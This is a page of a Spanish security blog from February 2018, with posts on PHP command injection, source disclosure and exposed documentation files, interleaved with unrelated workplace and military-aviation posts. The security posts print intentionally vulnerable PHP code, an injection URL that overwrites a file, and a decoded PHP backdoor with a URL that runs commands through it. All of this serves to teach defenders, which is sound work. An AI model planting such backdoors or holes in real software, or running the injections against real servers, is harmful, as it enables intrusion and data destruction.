Blog

VULNERABILIDADES DE APLICACIONES WEB: EXPOSICIÓN DE INFORMACIÓN VALIOSA POR MEDIO DE ARCHIVOS DE DOCUMENTACIÓN

20.02.2018 09:04
 
A menudo se puede encontrar en un servidor web algún archivo de documentación, por ejemplo "readme.txt", accesible desde Internet. La información contenida en estos archivos podría ayudar a un atacante a identificar determinada aplicación web que se está utilizando y a veces la versión de la aplicación. Generalmente se clasifica a esta vulnerabilidad como de baja severidad, algo con lo que no estamos totalmente de acuerdo.
 
Sin ir más lejos hemos buscado archivos de documentación en nuestro propio servidor y dimos con uno que contenía la combinación por defecto de usuario/contraseña de una aplicación que habíamos descargado de la red ya hacía algún tiempo. Es verdad que esa combinación de usuario/contraseña por defecto también está disponible en la red. También es verdad que como se trata de una aplicación que es vulnerable adrede, desconectamos el servidor de Internet cuando la usamos, accediendo a ella mediante "localhost". Además la tenemos guardada en un directorio protegido. Así y todo logramos acceder al archivo con toda facilidad por dos métodos diferentes. Insistimos, la protección adicional la agregamos nosotros, por defecto el archivo es accesible por Internet sin necesidad de digitar un usuario y una clave. 
 
!Cuidado con las vulnerabilidades "menores" o poco conocidas! Solemos criticar las listas "top ten". Las mismas nos dejan con la idea de que hay un puñado de vulnerabilidades de las que debemos preocuparnos. Para quienes hemos seguido la evolución de esas listas es claro que cuando las mismas se renuevan suelen caer de posición las vulnerabilidades anteriores y vuelven a subir aquellas a las que se les había restado importancia.
 
Al pirata informático le bastará tener éxito con una o un par de ellas. Quien se ocupa de la seguridad de un servidor o una aplicación deberá conocerlas todas. Siempre habrá alguna de día cero, para las demás no hay excusas. 
 

VULNERABILIDADES DE APLICACIONES WEB: CÓMO PREVENIR LA INYECCIÓN DE COMANDOS (II)

19.02.2018 15:50
 
La forma más eficaz de prevenir la Inyección de comandos en PHP es la de deshabilitar las funciones de ejecución de comandos en el archivo php.ini, pero deberá tenerse presente que el archivo que contenga la función deshabilitada no se ejecutará o su ejecución se detendrá y se mostrará un mensaje de error con una advertencia sobre la razón de la falta de ejecución.
 
Para deshabilitar funciones de PHP se abre php.ini y en 
 
disable_functions=
 
se agrega las funciones que se desea deshabilitar:
 
disable_functions=exec,system,passthru,shell_exec,popen,proc_open,pcntl_exec 
 
Las comillas invertidas (``, backticks en inglés) quedarán deshabilitadas al incluir la función shell_exec.
 
Podría aprovecharse para incluir la función "eval" y eventualmente "assert", aunque esta última podría ser usada en un script en producción. Deshabilitando estas dos funciones se reduciría el riesgo de la Inyección de código PHP evaluado dinámicamente.
 
Otras funciones que convendría considerar son phpinfo; highlight_file; get_current_user; getlastmod; filemtime; disk_free_space y disk_total_space que pueden ser una vulnerabilidad si alguno de los datos devueltos es visible para un atacante. 
 
La lista podría continuar pero no queremos dar una receta que será útil para algunos y para otros podría constituir un dolor de cabeza. Algunos querrán deshabilitar más funciones y otros menos. Cada uno deberá elaborar su propia lista según su mejor criterio. 
 
Artículos relacionados:
 

VULNERABILIDADES DE APLICACIONES WEB: MÁS SOBRE EL ACCESO AL CÓDIGO FUENTE Y OTRA INFORMACIÓN VALIOSA

17.02.2018 09:50
 
Antes de ver otra forma más de prevenir la Inyección de comandos mostraremos algunas funciones que permiten acceder al código fuente de diferentes scripts de una aplicación y a otra información que puede ser de mucha utilidad para un pirata informático técnicamente preparado.
 
No volveremos a mencionar a todas las que permiten la Inclusión local de archivos, pero muchas veces se cree que "include()"; "include_once()"; "require()" y otras similares son las únicas que permiten acceder al contenido de algunos archivos.
 
La función "phpinfo()" - ya la hemos mencionado en algún artículo - muestra información sobre la configuración de PHP.
 
El siguiente archivo .php nos permitirá ver una versión con la sintaxis remarcada del código usando los colores definidos en el remarcador de sintaxis interno de PHP de cualquier archivo que pasemos como parámetro, en este caso mediante el método "get".
 
highlight_file($_GET['file']);
?>
 
La función get_current_user() obtiene el nombre del propietario del script PHP actual.
 
La función getlastmod() obtiene la hora de la última modificación de la página, concretamente del script principal de la ejecución.
 
La función filemtime() obtiene el momento de la última modificación de un archivo.
 
La función disk_free_space() devuelve el espacio disponible de un sistema de archivos o partición de disco.
 
La función disk_total_space() devuelve el tamaño total de un sistema de archivos o partición de disco.
 
 Estas llamadas a funciones pueden ser una vulnerabilidad si alguno de los datos devueltos es visible para un atacante. La lista que dimos no pretende ser completa sino que busca llamar la atención sobre algunas funciones a cuyo uso se deberá prestar atención para que no se conviertan en fuente de información sobre puntos vulnerables. 
 
El lector podrá acceder a información detallada sobre el uso de cada función en php.net/manual/es/.
 

 

VULNERABILIDADES DE APLICACIONES WEB: INYECCIÓN DE COMANDOS (III)

15.02.2018 11:50
 
A veces es difícil prescindir de la ejecución de comandos. Si para ejecutarlos se usan entradas del usuario se apela a las funciones escapeshellcmd() (escapa meta-caracteres delintérprete de comandos) y escapeshellarg() (escapa una cadena a ser usada como argumento del intérprete de comandos) para hacerlo de forma segura. Alguna de estas funciones tenía alguna vulnerabilidad para determinado sistema operativo y no es raro encontrar programadores que desarrollan filtros propios. Si alguien decide hacer algo así debe asegurarse de filtrar todos los meta-caracteres del intérprete de comandos.
 
Clarifiquemos con un ejemplo. Llamemos al siguiente archivo test.php:
 
<?php
$usuario = $_GET["usuario"];
 
$eliminar = array("&", "|", "$", ";", "(", ")", "`");
$usuario = str_replace($eliminar, "", $usuario);
 
$esto = 'dir "subdirectorio\"' . $usuario;
system($esto);
?>
 
El filtro impedirá inyectar los meta-caracteres "&"; "|"; "$"; ";"; "("; ")" y "`", lo que no impedirá al pirata informático hacer daño. Nos disgusta un poco dar ejemplos concretos de ataques, pero en el caso de la inyección de comandos haremos una pequeña excepción.  
 
Supongamos que dentro de "directorio" existe el subdirectorio "subdirectorio" y dentro del mismo la carpeta "Juan" y que el pirata informático escribe lo siguiente en la barra de direcciones de su navegador:
 
https://127.0.0.1/directorio/test.php?usuario=Juan>test.php
 
El archivo test.php será sobrescrito con el listado de subdirectorios y archivos del subdirectorio "Juan", quedando inutilizado.
 
La inyección de comandos es una vulnerabilidad muy crítica y convendrá prescindir de la ejecución de comandos, especialmente con inputs del usuario.
 
Artículos relacionados:
 

LA EMPRESA: LA IMPORTANCIA DE LOS PEQUEÑOS GESTOS EN LA INTEGRACIÓN DE UN EQUIPO

14.02.2018 15:46
 
Aquí en Perú como en otras partes del mundo celebramos el Día de San Valentín, día del amor y de la amistad y como en mi oficina estamos promoviendo ideas de integración entre los que compartimos largas horas de trabajo diario, decidimos compartir entre todo el personal la hora del almuerzo, donde nos serviremos algo de comer y algunos otros gustitos. 
 
Sabemos que en la oficina - por el trabajo que requiere exigencia y cumplimiento de labores - el ambiente puede ser estresante, entonces aprovechamos el momento y nos agarramos de la ocasión del Día del amor y amistad para compartir entre todos y romper la rutina.
 
Lo que queremos es la integración del equipo y estos momentos son propicios porque la gente se une y se acerca. No está demás comentar que no significa descuido de labores, sino manejar mejor el tiempo para poder participar a gusto de lo programado.
 
Saber hacer estas pequeñas pausas en el trabajo, distendernos sanamente y darnos la oportunidad de charlar con nuestros compañeros de temas no relacionados con lo laboral son pequeños gestos que ayudan a la integración del grupo y nos hacen sentir personas, no meros cumplidores de las tareas asignadas.
 

ACLARACIÓN

14.02.2018 14:29

En el artículo anterior

 

 (geoestrategia.webnode.es/news/vulnerabilidades-de-aplicaciones-web-inyeccion-de-comandos-ii/

 

 donde dice RubicusFrontendIns.location.replace  debe decir  windows. location . replace (sin espacios) y el editor no nos permite escribirlo así o al menos no nos permite corregirlo. Tengan a bien corregirlo ustedes si van a probar el programa. ¡Gracias!   

VULNERABILIDADES DE APLICACIONES WEB: INYECCIÓN DE COMANDOS (II)

14.02.2018 13:56
 
Haremos un pequeño alto en la línea taxonómica de vulnerabilidades que estábamos enumerando para profundizar en una que ya hemos descripto.
 
A veces evitamos dar ciertos ejemplos porque serían de más utilidad para el pirata informático que para el programador, el administrador de un servidor o el experto en seguridad informática. Como las inyecciones de comandos son más fáciles de descubrir leyendo el código que automatizando los ataques, en este caso en particular decidimos publicar otro caso de código vulnerable a la Inyección de comandos ya que el más beneficiado será quien esté defendiéndose de una eventual intusión.
 
Veamos el siguiente archivo .php:
 
<?php
$filename = $_GET['filename'];
 
if ((strpos($filename, '&') !== false) || (strpos($filename, ';') !== false) || (strpos($filename, '|') !== false)) {
print "<script>RubicusFrontendIns.location.replace('https://geoestrategia.webnode.es');</script>\n\n";
}
 
echo shell_exec('TYPE '. $filename);
?>
 
Para facilitar la comprensión del código hemos utilizado un filtro extremedamente precario. Si el comando que ingresamos es válido se ejecutará sin ningún problema. Si intentamos inyectar otro comando con ";"; "&" ó "|" (en parte dependerá del sistema operativo que estemos usando), seremos redirigidos a otra página PERO EL COMANDO SE EJECUTARÁ DE TODOS MODOS. En este caso particular lo podemos comprobar desactivando la ejecución de JavaScript en nuestro navegador.
 
Para prevenir este ataque hay que asegurarse de que el código no continuará ejecutándose después de un redireccionamiento. En PHP en muchos casos esto se puede lograr con la función die(). Más que con una Inyección de comandos estamos lidiando con una Ejecución después de una redirección.
 
Artículos relacionados:
 

LA RAF DECLARÓ LA PLENA OPERATIVIDAD DEL SISTEMA DE ARMAS RC-135 RIVER JOINT

13.02.2018 08:39
 
Aunque no carente de problemas, las Real Fuerza Aérea británica es de momento y sin dudas la más sólida y creíble de las Fuerzas Armadas británicas. En ese contexto la RAF declaró hace unos días que su flota de tres aeronaves RC-135 Rivet Joint o "Airseeker" está plenamente operativa. Este pleno funcionamiento se alcanzó antes de lo previsto.
 
El RC-135W Rivet Joint es un avión de vigilancia electrónica para todo clima basado en el fuselaje C-135. Las tres aeronaves con que cuentan los británicos integran un sistema de armas que incluye una unidad de análisis basada en tierra. Algunos británicos se quejan de la condición de "avión para el reabastecimiento en vuelo convertido en avión de reconocimiento y vigilancia electrónica" del River Joint.
 
La tripulación de estos aparatos para un misión típica consta de unos 25 efectivos, con aproximadamente 35 para misiones de entrenamiento completo.
 
El Airseeker complementa la amplia gama de activos de Inteligencia, Vigilancia, Adquisición de objetivos y Reconocimiento (ISTAR, por sus siglas en inglés) de la RAF y para poder incorporar este sistema de armas Gran Bretaña recibió un fuerte espaldarazo de los Estados Unidos de Norteamérica. En conjunto, los Airseeker del Reino Unido y la USAF forman una flota combinada de 20 aviones.
 

LA EMPRESA: EL TIEMPO LIBRE Y LA OPORTUNIDAD DE CRECER COMO PERSONAS

12.02.2018 20:44
 
Continuando con el artículo anterior sobre la importancia de cumplir con el horario de trabajo a la hora de salida, puedo comentar algunas razones que podríamos considerar:
 
En primer lugar debemos pensar en el descanso ya que después de más de nueve horas seguidas en el trabajo, necesitamos relajarnos, pensar en otras cosas, dormir y reponer energías.
 
Fijar límites: muchos creemos que si damos más del 100% en el trabajo, nuestros jefes nos verán con buenos ojos y podrían ser más consideramos con nosotros; esto está lejos de ser cierto ya permitimos que los demás se aprovechen y no valoramos nuestra vida privada.
 
Tener una vida personal y social: compartir con la familia y los amigos, inluirnos en un coro, tener un pasatiempos, tocar un instrumento musical, participar de un grupo parroquial, leer una buena novela o ver una pelicula agradable debe ser sumamente importante para toda persona. Estos momentos son irremplazables, hay que disfrutar de una reunión de amigos, un café, un abrazo con el esposo, una charla con el novio. Los encuentros y las cenas son un descanso, una necesidad psicológica y espiritual, una oportunidad para crecer como personas y trascender más allá del ámbito laboral.
 
Rutina de ejercicios: sería bueno también incorporar en nuestro día a día - considerando que tenemos tiempo después de salir de oficina - una rutina de ejercicios en casa o en un gimnasio.
 
Tiempo de mayor descanso: después de un día intenso de trabajo es bueno  tener nuestro propio tiempo para escuchar música, cocinar, descansar, dormir un poco más o simplemente pensar en nuestras propias cosas. De esta manera podemos recuperar las energías para seguir el día a día del trabajo.
 
Artículo relacionado:
 

VULNERABILIDADES DE APLICACIONES WEB: JUEGO DE VERANO - NIVEL INTERMEDIO (II - LA RESPUESTA)

12.02.2018 09:24
 
En este juego preguntábamos ¿qué es esto?:
 
QGV4dHJhY3QgKCRfUkVRVUVTVCk7IEBkaWUgKCR1bGFkbygkdWFyZWEpKTs=
 
Es fácil reconocer la codificación base64. Decodificando obtenemos el siguiente código PHP:
 
@extract ($_REQUEST); @die ($ulado($uarea));
 
En el código PHP que obtenemos tenemos que "@" es un operador de supresión de errores; "extract" importa variables a la tabla de símbolos actual desde una matriz; "$_REQUEST" es una matriz asociativa que por defecto contiene el contenido de $_GET, $_POST y $_COOKIE y "die()" es un constructor de lenguaje equivalente a "exit()". 
 
En el código descripto $_REQUEST está extrayendo cualquier contenido enviado a través de solicitudes GET o POST y creando variables para ellos, en nuestro caso $ulado y $uarea, nombres que hemos elegido con el expreso propósito de que no signifiquen nada en especial para que pasen desapercibidos. Entonces "die()" ejecutará lo que el atacante envíe con "ulado" y "uarea" como argumento, por ejemplo ulado=system y uarea=cualquier comando.
 
https://127.0.0.1/directorio/subdirectorio/puertatrasera.php?ulado=system&uarea=comando
 
Estamos entonces claramente ante la posibilidad de una inyección de comandos, por ende en presencia de una muy probable puerta trasera.
 
En cuanto a la cadena:
 
QGV4dHJhY3QgKCRfUkVRVUVTVCk7IEBkaWUgKCR1bGFkbygkdWFyZWEpKTs=
 
la misma podría esta inserta dentro de algo así como lo siguiente:
 
eval(base64_decode(QGV4 ... KTs=));
 
lo cual no tendría demasiado sentido, ya que el constructor de lenguaje "eval()" llamaría mucho la atención mientras que para muchos "@extract ($_REQUEST); @die ($ulado($uarea));" pasaría desapercibido, cuando no directamente incomprendido. La codificación base64 fue más una parte de la dinámica del juego que un artilugio para ocultar la funcionalidad real del código.
 
El juego pretende llamar la atención de lo desapercibidas que a veces pueden pasar algunas puertas traseras. Todos aquellos que deban asegurar el servidor y las aplicaciones que el mismo aloja deberán estar bien entrenados en detectar este tipo de artilugios. El pirata informático tratará que sus puertas traseras pasen desapercibidas a los programas de seguridad y a los controles manuales. Hay que prestar mucha atención y estar entrenado para detectar código malicioso. 
 
 
Artículo relacionado:
 
<< 118 | 119 | 120 | 121 | 122 >>